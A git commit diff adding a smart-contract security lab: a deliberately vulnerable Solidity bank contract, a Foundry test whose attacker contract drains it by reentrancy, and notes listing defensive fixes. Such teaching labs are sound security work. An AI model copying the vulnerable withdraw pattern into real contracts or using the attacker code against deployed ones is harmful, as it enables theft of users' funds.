Add blockchain security playground
This commit is contained in:
parent
03fea90cc8
commit
c4865f17c7
|
|
@ -42,3 +42,11 @@ PRIVATE_KEY=0x... forge script script/DeployCounter.s.sol \
|
||||||
```
|
```
|
||||||
|
|
||||||
Use only Anvil dev keys. Do not paste a real wallet key into a shell.
|
Use only Anvil dev keys. Do not paste a real wallet key into a shell.
|
||||||
|
|
||||||
|
## Security Exercises
|
||||||
|
|
||||||
|
The intentionally vulnerable examples live in `SECURITY_LAB.md`. Start with:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./jeannie blockchain-test test/security/Reentrancy.t.sol -vv
|
||||||
|
```
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,42 @@
|
||||||
|
# Smart Contract Security Lab
|
||||||
|
|
||||||
|
This folder contains intentionally vulnerable contracts and tests that exploit
|
||||||
|
them. The goal is to learn how bugs work so you can review and defend contracts
|
||||||
|
more effectively.
|
||||||
|
|
||||||
|
Never deploy these contracts outside a local devnet.
|
||||||
|
|
||||||
|
## Current Exercises
|
||||||
|
|
||||||
|
### Reentrancy
|
||||||
|
|
||||||
|
Files:
|
||||||
|
|
||||||
|
- `src/security/VulnerableBank.sol`
|
||||||
|
- `test/security/Reentrancy.t.sol`
|
||||||
|
|
||||||
|
The vulnerable contract sends ETH to the caller before updating internal
|
||||||
|
balances. The attacker contract re-enters `withdraw` from its `receive`
|
||||||
|
function and drains more ETH than it deposited.
|
||||||
|
|
||||||
|
Run:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./jeannie blockchain-test test/security/Reentrancy.t.sol -vv
|
||||||
|
```
|
||||||
|
|
||||||
|
Defensive fixes to practice:
|
||||||
|
|
||||||
|
- checks-effects-interactions
|
||||||
|
- reentrancy guards
|
||||||
|
- pull-payment patterns
|
||||||
|
- avoiding unnecessary raw calls
|
||||||
|
- invariant tests for total balances
|
||||||
|
|
||||||
|
## Suggested Next Exercises
|
||||||
|
|
||||||
|
- bad access control
|
||||||
|
- `tx.origin` authentication
|
||||||
|
- signature replay without chain ID or nonce
|
||||||
|
- oracle price manipulation simulation
|
||||||
|
- unsafe upgradeable proxy ownership
|
||||||
|
|
@ -0,0 +1,23 @@
|
||||||
|
// SPDX-License-Identifier: MIT
|
||||||
|
pragma solidity ^0.8.26;
|
||||||
|
|
||||||
|
contract VulnerableBank {
|
||||||
|
mapping(address account => uint256 balance) public balances;
|
||||||
|
|
||||||
|
function deposit() external payable {
|
||||||
|
balances[msg.sender] += msg.value;
|
||||||
|
}
|
||||||
|
|
||||||
|
function withdraw(uint256 amount) external {
|
||||||
|
require(balances[msg.sender] >= amount, "insufficient balance");
|
||||||
|
|
||||||
|
(bool ok,) = msg.sender.call{value: amount}("");
|
||||||
|
require(ok, "transfer failed");
|
||||||
|
|
||||||
|
unchecked {
|
||||||
|
balances[msg.sender] -= amount;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
receive() external payable {}
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,53 @@
|
||||||
|
// SPDX-License-Identifier: MIT
|
||||||
|
pragma solidity ^0.8.26;
|
||||||
|
|
||||||
|
import {Test} from "forge-std/Test.sol";
|
||||||
|
import {VulnerableBank} from "../../src/security/VulnerableBank.sol";
|
||||||
|
|
||||||
|
contract ReentrancyAttacker {
|
||||||
|
VulnerableBank private immutable bank;
|
||||||
|
uint256 private immutable withdrawAmount;
|
||||||
|
uint256 public reentryCount;
|
||||||
|
|
||||||
|
constructor(VulnerableBank targetBank, uint256 targetWithdrawAmount) {
|
||||||
|
bank = targetBank;
|
||||||
|
withdrawAmount = targetWithdrawAmount;
|
||||||
|
}
|
||||||
|
|
||||||
|
function attack() external payable {
|
||||||
|
require(msg.value == withdrawAmount, "seed amount mismatch");
|
||||||
|
|
||||||
|
bank.deposit{value: msg.value}();
|
||||||
|
bank.withdraw(withdrawAmount);
|
||||||
|
}
|
||||||
|
|
||||||
|
receive() external payable {
|
||||||
|
if (address(bank).balance >= withdrawAmount && reentryCount < 3) {
|
||||||
|
reentryCount++;
|
||||||
|
bank.withdraw(withdrawAmount);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
contract ReentrancyTest is Test {
|
||||||
|
VulnerableBank private bank;
|
||||||
|
ReentrancyAttacker private attacker;
|
||||||
|
address private victim = address(0xA11CE);
|
||||||
|
|
||||||
|
function setUp() public {
|
||||||
|
bank = new VulnerableBank();
|
||||||
|
attacker = new ReentrancyAttacker(bank, 1 ether);
|
||||||
|
|
||||||
|
vm.deal(victim, 5 ether);
|
||||||
|
vm.prank(victim);
|
||||||
|
bank.deposit{value: 5 ether}();
|
||||||
|
}
|
||||||
|
|
||||||
|
function testReentrancyDrainsMoreThanAttackerBalance() public {
|
||||||
|
attacker.attack{value: 1 ether}();
|
||||||
|
|
||||||
|
assertEq(attacker.reentryCount(), 3);
|
||||||
|
assertEq(address(attacker).balance, 4 ether);
|
||||||
|
assertEq(address(bank).balance, 2 ether);
|
||||||
|
}
|
||||||
|
}
|
||||||
Loading…
Reference in New Issue